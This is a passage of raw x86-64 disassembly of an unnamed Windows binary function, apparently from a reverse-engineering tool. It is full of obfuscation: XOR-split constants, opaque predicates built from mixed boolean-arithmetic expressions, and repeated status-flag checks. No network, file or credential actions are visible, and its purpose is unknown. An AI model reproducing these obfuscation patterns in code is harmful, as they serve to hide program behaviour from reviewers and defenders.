mov qword [rax + 0x10], rcx
movabs rcx, 0x88d78a1acf675366
movabs rax, 0x88d78a1acf375366
xor rcx, rax
sub rsp, 0x20
call fcn.14013b6f0
mov rcx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x3e8]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp + 0xb8]
mov qword [rcx + 0x18], r8
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x4e8], rax
mov ecx, 0x28
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0x78], rax
mov rcx, qword [0x14025a788]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x78]
mov qword [rax + 0x10], rcx
mov ecx, 0x500000
sub rsp, 0x20
call fcn.14013b6f0
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x3e8]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp + 0xb8]
mov qword [rcx + 0x18], r8
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rax, qword [rbp + 0x380]
mov rcx, qword [rbp + 0x78]
mov qword [rax], rcx
mov ecx, 0x28
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0x70], rax
mov rcx, qword [0x14025a768]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x70]
mov qword [rax + 0x10], rcx
mov ecx, 0xa00000
sub rsp, 0x20
call fcn.14013b6f0
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x3e8]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp + 0xb8]
mov qword [rcx + 0x18], r8
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x4e0], rax
mov ecx, 0x28
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0x68], rax
mov rcx, qword [0x14025a740]
mov qword [rax], rcx
mov rax, qword [rbp + 0x528]
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x528]
sub rsp, 0x20
call fcn.140160071
mov rcx, qword [rbp + 0x60]
mov rax, qword [rbp + 0x68]
add rsp, 0x20
mov qword [rax + 0x10], rcx
mov ecx, 0x6400000
sub rsp, 0x20
call fcn.14013b6f0
mov rcx, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x3e8]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp + 0xb8]
mov qword [rcx + 0x18], r8
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0x4d8], rax
sub rsp, 0x20
call fcn.140147600
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov dl, al
mov rax, qword [rbp + 0xb8]
mov byte [rbp + 0x5f], dl
mov dl, byte [rcx]
mov r8b, 0xd5
xor r8b, 0xd5
mov cl, 1
cmp dl, r8b
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rdx, qword [rbp + 0x180]
mov r8, qword [rbp + 0x188]
mov rcx, r8
add rcx, 8
xor eax, eax
cmp r8, 0
cmove rcx, rax
mov qword [rbp + 0x50], rcx
mov r8d, 0x3abc2e9b
sub rsp, 0x20
call fcn.14023daae
add rsp, 0x20
test al, 1
jne 0x14023b8bc
lea rcx, [rbp + 0x518]
sub rsp, 0x20
call fcn.1401fdc00
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rcx, qword [rbp + 0x518]
add rcx, 0x18
sub rsp, 0x20
call fcn.1401409d5
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
sub rsp, 0x20
call fcn.140171fe0
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov dl, byte [rcx]
mov r8b, 0x28
xor r8b, 0x28
mov cl, 1
cmp dl, r8b
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
sub rsp, 0x20
call fcn.14009db20
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x50]
sub rsp, 0x20
mov r8d, 0x259ee4c0
call fcn.14023daae
mov cl, byte [rbp + 0x5f]
add rsp, 0x20
xor cl, 1
or al, cl
test al, 1
jne 0x14023bb46
xor eax, eax
mov cl, al
xor cl, 0
and cl, 1
sub rsp, 0x20
call fcn.1401572d0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023b9cf
sub rsp, 0x20
call fcn.14014aa70
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov cl, byte [rax]
mov dl, 0x8f
xor dl, 0x8f
mov al, 1
cmp cl, dl
mov byte [rbp + 0x4f], al
jne 0x14023b989
mov rcx, qword [rbp + 0x378]
sub rsp, 0x20
call fcn.1401aa2c9
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, 1
cmp byte [rcx], 0
mov byte [rbp + 0x4f], al
jne 0x14023b989
mov rax, qword [rbp + 0x378]
mov rcx, qword [rax]
add rcx, 0x18
sub rsp, 0x20
call fcn.1401409d5
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov byte [rbp + 0x4f], al
mov rax, qword [rbp + 0x3e8]
mov cl, byte [rbp + 0x4f]
mov byte [rbp + 0x4e], cl
mov byte [rax], 0
mov ecx, 1
sub rsp, 0x20
call fcn.1401572d0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023b9cf
mov al, byte [rbp + 0x4e]
mov rcx, qword [rbp + 0x3e8]
mov byte [rcx], al
cmp al, 0
je 0x14023bb46
mov ecx, dword [0x140250578]
mov eax, dword [0x14025057c]
sub ecx, 0xbbf39108
sub ecx, eax
add ecx, 0xbbf39108
mov eax, 0xbf7e1f13
xor eax, 0x52ed108c
add ecx, eax
sub ecx, 0xbe400949
mov eax, ecx
and eax, 0x68a1ce8f
or ecx, 0x68a1ce8f
add eax, ecx
cmp eax, 0xdf2a07df
je 0x14023d854
mov eax, dword [0x140250580]
mov ecx, dword [0x140250584]
xor ecx, 0x6b744344
add eax, ecx
or eax, 0x28c9fd
or eax, 0xb61364d6
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7d11edef
mov r8d, 0xffffffff
xor r8d, 0x7d11edef
mov ecx, eax
and ecx, r8d
imul ecx, edx
mov edx, eax
and edx, 0x7d11edef
or eax, 0x7d11edef
imul eax, edx
add eax, ecx
mov dword [rbp + 0x3c], eax
sub rsp, 0x20
call fcn.14023d9b0
add rsp, 0x20
mov rcx, rax
mov eax, dword [rbp + 0x3c]
mov rcx, qword [rcx]
mov qword [rbp + 0x40], rcx
cmp word [rcx + 0x12], 1
setg cl
mov byte [rbp + 0x4d], cl
cmp eax, 0x55b058ee
jb 0x14023ba15
mov al, byte [rbp + 0x4d]
test al, 1
jne 0x14023baa8
jmp 0x14023bb20
mov rax, qword [rbp + 0x40]
mov rax, qword [rax + 0x18]
cmp dword [rax + 8], 0xc5722261
jne 0x14023bb20
mov rax, qword [rbp + 0x3e8]
mov byte [rax], 0
sub rsp, 0x20
call fcn.14023d8db
add rsp, 0x20
mov rcx, rax
sub rsp, 0x20
call fcn.14009c190
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov dl, byte [rcx]
mov r8b, 0xf2
xor r8b, 0xf2
mov cl, 1
cmp dl, r8b
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
sub rsp, 0x20
call fcn.14023d908
add rsp, 0x20
mov rax, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0x3e8]
mov cl, byte [rcx]
cmp cl, 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x50]
mov r8d, 0x78ca7449
xor r8d, 0x71244d45
sub rsp, 0x20
call fcn.14023daae
add rsp, 0x20
test al, 1
jne 0x14023bca8
lea rcx, [rbp + 0x4d8]
sub rsp, 0x20
call fcn.1401bafb0
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov ecx, dword [0x140250588]
or ecx, dword [0x14025058c]
add ecx, 0x415f47aa
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0x34d9c2e3
xor edx, 0xe0e64c24
mov r8d, 0x41177b29
xor r8d, 0xbee884d6
xor edx, r8d
mov r8d, 0xffffffff
xor r8d, 0xd43f8ec7
and edx, r8d
or eax, edx
xor eax, 0xffffffff
or ecx, 0xd43f8ec7
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x44981cb7
xor edx, edx
div ecx
cmp eax, 0xd591d824
jae 0x14023d85d
mov eax, dword [0x140250590]
mov ecx, 0x5ce77d34
xor ecx, 0x6502a962
xor eax, ecx
or eax, dword [0x140250594]
add eax, 0xfff224db
mov ecx, 0x10f028c2
xor edx, edx
div ecx
mov ecx, 0xb469d0e2
xor edx, edx
div ecx
mov dword [rbp + 0x34], eax
mov rcx, qword [rbp + 0x4d8]
add rcx, 0x18
sub rsp, 0x20
call fcn.1401409d5
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x34]
add rsp, 0x20
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0x3b], cl
cmp eax, 0x5f45d2f4
ja 0x14023bc18
mov rax, qword [rbp + 0xb8]
mov dl, byte [rbp + 0x3b]
mov cl, 1
test dl, 1
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023bca8
jmp 0x14023cc20
sub rsp, 0x20
call fcn.140171fe0
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov dl, byte [rcx]
mov r8b, 0x89
xor r8b, 0x89
mov cl, 1
cmp dl, r8b
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
sub rsp, 0x20
call fcn.14009db20
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x50]
mov r8d, 0x1275937e
sub rsp, 0x20
call fcn.14023daae
add rsp, 0x20
test al, 1
jne 0x14023be72
mov eax, dword [0x140250598]
and eax, dword [0x14025059c]
sub eax, 0x7eaef052
mov ecx, 0xff3422e3
xor ecx, 0x2cf93719
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0xcda82bef
xor ecx, 0xcda82bef
or eax, ecx
mov ecx, 0xb0907aac
xor ecx, 0x324bee15
cmp eax, ecx
jbe 0x14023d866
mov eax, dword [0x1402505a0]
xor eax, 0x15b66d1b
xor edx, edx
div dword [str._ok_]
mov ecx, eax
mov edx, 0x8ff43f90
xor edx, 0x700bc06f
mov eax, ecx
xor eax, edx
and eax, 0xc242e5bf
mov edx, 0xffffffff
xor edx, 0xc242e5bf
and ecx, edx
or eax, ecx
mov ecx, 0x4e5b38c1
xor edx, edx
div ecx
mov ecx, 0x5708662a
xor ecx, 0x58ea3062
xor eax, ecx
mov dword [rbp + 0x2c], eax
lea rcx, [rbp + 0x4f0]
sub rsp, 0x20
call fcn.1401cfee0
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x2c]
add rsp, 0x20
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0x33], cl
cmp eax, 0x6e9f2b95
jae 0x14023d866
mov rax, qword [rbp + 0xb8]
mov dl, byte [rbp + 0x33]
mov cl, 1
test dl, 1
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023be2b
jmp 0x14023cc20
mov rcx, qword [rbp + 0x4f0]
add rcx, 0x18
sub rsp, 0x20
call fcn.1401409d5
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov dl, byte [rcx]
mov r8b, 0x2a
xor r8b, 0x2a
mov cl, 1
cmp dl, r8b
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov eax, dword [0x1402505a8]
xor edx, edx
div dword [0x1402505ac]
mov edx, 0xffffffff
xor edx, 0xea18b884
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xea18b884
add eax, edx
sub eax, ecx
mov edx, 0x135a1ac9
xor edx, 0xeca5e536
mov ecx, eax
xor ecx, edx
and ecx, 0xc7200996
mov edx, 0xffffffff
xor edx, 0xc7200996
and eax, edx
sub eax, ecx
mov ecx, 0xa33998ec
xor ecx, 0xad0fd5b5
imul eax, ecx
cmp eax, 0xa85adcb
jbe 0x14023d86f
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x50]
mov eax, dword [0x1402505b0]
sub eax, dword [0x1402505b4]
mov r8d, 0x24d04d69
xor r8d, 0xeb20197e
or eax, r8d
mov r9d, eax
xor r9d, 0xffffffff
and r9d, 0x180feb31
mov r10d, 0xb8304268
xor r10d, 0xa03fa959
mov r8d, 0xacd1e833
xor r8d, 0x532e17cc
xor r10d, r8d
mov r8d, eax
and r8d, r10d
imul r8d, r9d
mov r9d, eax
and r9d, 0x180feb31
or eax, 0x180feb31
imul eax, r9d
add eax, r8d
xor r8d, r8d
sub r8d, 0x969a18c9
add eax, r8d
mov dword [rbp + 0x24], eax
mov r8d, 0x27ab989
sub rsp, 0x20
call fcn.14023daae
add rsp, 0x20
mov cl, al
mov eax, dword [rbp + 0x24]
mov byte [rbp + 0x2b], cl
cmp eax, 0xc9d69da7
ja 0x14023bed8
mov al, byte [rbp + 0x2b]
test al, 1
jne 0x14023c008
jmp 0x14023bf90
lea rcx, [rbp + 0x4e8]
sub rsp, 0x20
call fcn.1401f0c50
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rcx, qword [rbp + 0x4e8]
add rcx, 0x18
sub rsp, 0x20
call fcn.1401409d5
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x50]
mov r8d, 0x110efa7b
sub rsp, 0x20
call fcn.14023daae
add rsp, 0x20
test al, 1
jne 0x14023c0af
lea rcx, [rbp + 0x508]
sub rsp, 0x20
call fcn.1401d48d0
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov dl, byte [rcx]
mov r8b, 0x58
xor r8b, 0x58
mov cl, 1
cmp dl, r8b
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rcx, qword [rbp + 0x508]
add rcx, 0x18
sub rsp, 0x20
call fcn.1401409d5
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x50]
mov r8d, 0x17da00a2
sub rsp, 0x20
call fcn.14023daae
add rsp, 0x20
test al, 1
jne 0x14023c14d
lea rcx, [rbp + 0x500]
sub rsp, 0x20
call fcn.140214a50
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rcx, qword [rbp + 0x500]
add rcx, 0x18
sub rsp, 0x20
call fcn.1401409d5
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
sub rsp, 0x20
call fcn.140171fe0
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
sub rsp, 0x20
call fcn.14009db20
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0xb8]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x50]
mov r8d, 0x341565ee
xor r8d, 0x1d720dfb
sub rsp, 0x20
call fcn.14023daae
add rsp, 0x20
test al, 1
jne 0x14023c258
mov rax, qword [rbp + 0x3e8]
mov cl, byte [rbp + 0x157]
mov rdx, qword [rbp + 0x158]
mov qword [rbp - 0x18], rdx
mov byte [rbp - 0xb], cl
mov cl, 0x24
xor cl, 0x24
mov byte [rax], cl
mov rcx, qword [rbp + 0x4d8]
sub rsp, 0x20
call fcn.1401bb3f0
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, 1
cmp byte [rcx], 0
mov byte [rbp - 0xa], al
jne 0x14023d269
mov rcx, qword [rbp + 0x4e0]
sub rsp, 0x20
call fcn.1401e9897
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, 1
cmp byte [rcx], 0
mov byte [rbp - 0xa], al
jne 0x14023d269
mov rax, qword [rbp + 0x380]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.1401df6c0
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, 1
cmp byte [rcx], 0
mov byte [rbp - 0xa], al
jne 0x14023d269
mov rcx, qword [rbp + 0x4e8]
sub rsp, 0x20
call fcn.1401f0fc0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov cl, byte [rax]
mov dl, 0xdf
xor dl, 0xdf
mov al, 1
cmp cl, dl
mov byte [rbp - 0xa], al
jne 0x14023d269
mov eax, dword [0x140250608]
sub eax, dword [0x14025060c]
mov ecx, 0x45f9c524
xor ecx, 0xba063adb
xor eax, ecx
mov edx, 0xffffffff
xor edx, 0x98568323
mov ecx, 0xffffffff
xor ecx, 0x808cf6de
or eax, edx
or ecx, 0x808cf6de
xor eax, 0xffffffff
and eax, ecx
sub eax, 0xca773150
mov ecx, 0x91074106
xor edx, edx
div ecx
cmp eax, 0x11473c2b
ja 0x14023d8a5
mov rax, qword [rbp + 0x378]
mov edx, dword [0x140250610]
xor edx, 0x1adaba9b
mov r8d, dword [0x140250614]
mov ecx, edx
xor ecx, r8d
xor r8d, 0xffffffff
and edx, r8d
shl edx, 1
sub edx, ecx
mov ecx, 0xffffffff
xor ecx, 0xf7d5a69d
mov r8d, 0x6eebd92f
xor r8d, 0x6eebd92f
mov r9d, 0x29d91cce
xor r9d, 0x29d91ccf
sub r8d, r9d
sub ecx, r8d
sub edx, ecx
mov r8d, edx
and r8d, 0xca27d061
mov ecx, 0x6d4564d
xor ecx, 0x6d4564f
imul ecx, r8d
add edx, 0xca27d061
sub edx, ecx
mov ecx, edx
xor ecx, 0xffffffff
mov r9d, 0x6277e23f
xor r9d, 0x9d881dc0
mov r8d, edx
xor r8d, r9d
or ecx, r8d
and ecx, 0xb2988698
xor ecx, 0xffffffff
mov r8d, 0xab0eac42
xor r8d, 0x19962ada
mov r9d, 0xc9d1cf99
xor r9d, 0x7b494901
and r8d, r9d
mov r9d, 0xd44ff780
xor r9d, 0x2bb0087f
xor r8d, r9d
and edx, r8d
xor edx, 0xffffffff
xor ecx, 0xffffffff
mov r8d, 0x9706bf65
xor r8d, 0x68f9409a
xor edx, r8d
or ecx, edx
mov dword [rbp - 0x20], ecx
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.1401aa5c0
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp - 0x20]
add rsp, 0x20
cmp byte [rcx], 0
sete cl
mov byte [rbp - 0x19], cl
cmp eax, 0xd3df9936
je 0x14023cd44
mov cl, byte [rbp - 0x19]
mov al, 1
test cl, 1
mov byte [rbp - 0xa], al
jne 0x14023ce70
jmp 0x14023d269
mov rcx, qword [rbp + 0x4f0]
sub rsp, 0x20
call fcn.1401d0410
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov cl, byte [rax]
mov dl, 0x63
xor dl, 0x63
mov al, 1
cmp cl, dl
mov byte [rbp - 0xa], al
jne 0x14023d269
mov rcx, qword [rbp + 0x4f8]
sub rsp, 0x20
call fcn.140231520
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, 1
cmp byte [rcx], 0
mov byte [rbp - 0xa], al
jne 0x14023d269
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
call fcn.1401feab0
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, 1
cmp byte [rcx], 0
mov byte [rbp - 0xa], al
jne 0x14023d269
mov eax, dword [0x140250618]
mov edx, dword [0x14025061c]
mov ecx, 0xe3250034
xor ecx, 0x1cdaffcb
xor edx, ecx
mov ecx, eax
xor ecx, edx
and ecx, eax
mov edx, 0x423944cc
xor edx, 0xbdc6bb33
mov eax, ecx
xor eax, edx
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xacca5be2
mov edx, 0x47123cca
xor edx, 0xebd86728
mov r8d, 0xb5d6b5f
xor r8d, 0xf4a294a0
xor edx, r8d
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x21172ec3
xor ecx, 0xfbcc4e84
add eax, ecx
mov r8d, 0xffffffff
xor r8d, 0xdddc4801
mov edx, eax
and edx, r8d
mov ecx, eax
or ecx, r8d
mov r8d, 0x7ed119a1
xor r8d, 0x812ee65e
xor ecx, r8d
imul ecx, edx
mov edx, eax
and edx, 0xdddc4801
or eax, 0xdddc4801
imul eax, edx
add eax, ecx
cmp eax, 0x8b8e5d22
jb 0x14023d8ae
mov ecx, dword [0x140250620]
mov eax, dword [0x140250624]
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8b49d8e1
or ecx, eax
mov eax, 0x99df953
xor eax, 0x82d421b2
or eax, edx
xor ecx, 0xffffffff
and ecx, eax
mov edx, ecx
xor edx, 0xffffffff
mov eax, 0x4c39900c
xor eax, 0x5d8c4016
and eax, edx
mov edx, 0xffffffff
xor edx, 0x11b5d01a
and ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0x2a646e33
xor edx, 0xd850f031
and edx, ecx
mov r8d, 0xffffffff
xor r8d, 0xf2349e02
mov ecx, eax
and ecx, r8d
imul ecx, edx
mov edx, eax
and edx, 0xf2349e02
or eax, 0xf2349e02
imul eax, edx
add eax, ecx
mov ecx, 0x73dc4a4b
xor edx, edx
div ecx
mov dword [rbp - 0x28], eax
mov rcx, qword [rbp + 0x500]
sub rsp, 0x20
call fcn.140214edb
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp - 0x28]
add rsp, 0x20
cmp byte [rcx], 0
sete cl
mov byte [rbp - 0x21], cl
cmp eax, 0xd543a63
jae 0x14023cfa5
mov cl, byte [rbp - 0x21]
mov al, 1
test cl, 1
mov byte [rbp - 0xa], al
jne 0x14023d082
jmp 0x14023d269
mov rcx, qword [rbp + 0x508]
sub rsp, 0x20
call fcn.1401d4cc0
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, 1
cmp byte [rcx], 0
mov byte [rbp - 0xa], al
jne 0x14023d269
mov rcx, qword [rbp + 0x510]
sub rsp, 0x20
call fcn.14021d8b0
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, 1
cmp byte [rcx], 0
mov byte [rbp - 0xa], al
jne 0x14023d269
mov eax, dword [0x140250628]
xor eax, 0x7b1d2778
mov ecx, dword [0x14025062c]
mov edx, 0xeaaba83a
xor edx, 0x1a83b45e
xor ecx, edx
imul eax, ecx
imul eax, eax, 0x5c916d5a
mov r8d, 0xffffffff
xor r8d, 0x7f11db71
mov edx, eax
and edx, r8d
mov ecx, eax
or ecx, r8d
mov r8d, 0xa536ef1c
xor r8d, 0x5ac910e3
xor ecx, r8d
imul ecx, edx
mov r8d, 0x1e9174da
xor r8d, 0x6180afab
mov edx, eax
and edx, r8d
or eax, 0x7f11db71
imul eax, edx
add eax, ecx
mov ecx, 0x20a5d037
xor ecx, 0xddd7e03b
xor eax, ecx
cmp eax, 0x99fe1e71
je 0x14023d8b7
mov eax, dword [0x140250630]
mov ecx, dword [0x140250634]
sub eax, 0xfb3f168b
sub eax, ecx
add eax, 0xfb3f168b
mov ecx, 0x51cc18c5
xor ecx, 0x23a3c50
xor edx, edx
div ecx
sub eax, 0xb694b86b
xor eax, 0xffffffff
mov edx, 0xc64cc056
xor edx, 0xc50b0066
mov ecx, 0x6f4b1e8d
xor ecx, 0x90b4e172
xor edx, ecx
mov ecx, 0xa5f1c721
xor ecx, 0x4247e69c
mov r8d, 0xdf00ef25
xor r8d, 0x20ff10da
xor ecx, r8d
or eax, edx
or ecx, 0xe7b621bd
xor eax, 0xffffffff
and eax, ecx
mov dword [rbp - 0x30], eax
mov eax, 0x23e00e3c
xor eax, 0xd3dc5b7d
mov dword [rbp - 0x34], eax
mov rcx, qword [rbp + 0x518]
sub rsp, 0x20
call fcn.1401fe0a0
mov rdx, qword [rbp + 0x3e8]
mov ecx, dword [rbp - 0x34]
mov eax, dword [rbp - 0x30]
add rsp, 0x20
cmp byte [rdx], 0
sete dl
mov byte [rbp - 0x29], dl
cmp eax, ecx
je 0x14023d8b7
mov cl, byte [rbp - 0x29]
mov al, 1
test cl, 1
mov byte [rbp - 0xa], al
jne 0x14023d220
jmp 0x14023d269
mov rcx, qword [rbp + 0x520]
sub rsp, 0x20
call fcn.1401bd6d0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov cl, byte [rax]
mov dl, 0xe2
xor dl, 0xe2
mov al, 1
cmp cl, dl
mov byte [rbp - 0xa], al
jne 0x14023d269
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.140193767
mov al, byte [rbp - 0xb]
add rsp, 0x20
mov byte [rbp - 0xa], al
mov rax, qword [rbp + 0x3e8]
mov cl, byte [rbp - 0xa]
mov byte [rbp - 0x35], cl
mov byte [rax], 0
xor ecx, ecx
sub rsp, 0x20
call fcn.1401572d0
mov rdx, qword [rbp + 0x3e8]
mov rcx, qword [rbp + 0x180]
mov rax, qword [rbp + 0x188]
add rsp, 0x20
cmp byte [rdx], 0
mov qword [rbp + 0x248], rcx
mov qword [rbp + 0x250], rax
jne 0x14023d37c
sub rsp, 0x20
call fcn.1401470a5
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
je 0x14023d314
mov rax, qword [rbp + 0x3e8]
mov byte [rax], 0
sub rsp, 0x20
call fcn.14023d908
mov rdx, qword [rbp + 0x3e8]
mov rcx, qword [rbp + 0x180]
mov rax, qword [rbp + 0x188]
add rsp, 0x20
cmp byte [rdx], 0
mov qword [rbp + 0x248], rcx
mov qword [rbp + 0x250], rax
jne 0x14023d37c
mov ecx, 1
sub rsp, 0x20
call fcn.1401572d0
mov rdx, qword [rbp + 0x3e8]
mov rcx, qword [rbp + 0x180]
mov rax, qword [rbp + 0x188]
add rsp, 0x20
cmp byte [rdx], 0
mov qword [rbp + 0x248], rcx
mov qword [rbp + 0x250], rax
jne 0x14023d37c
mov rax, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x3e8]
mov r8b, byte [rbp - 0x35]
mov byte [rdx], r8b
mov qword [rbp + 0x248], rcx
mov qword [rbp + 0x250], rax
mov rcx, qword [rbp + 0x248]
mov rax, qword [rbp + 0x250]
mov qword [rbp + 0x418], rcx
mov qword [rbp + 0x420], rax
lea rcx, [rbp + 0x418]
sub rsp, 0x20
call fcn.1400206ce
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov cl, byte [rax]
mov byte [rbp - 0x49], cl
mov byte [rax], 0
mov rcx, qword [rbp + 0x568]
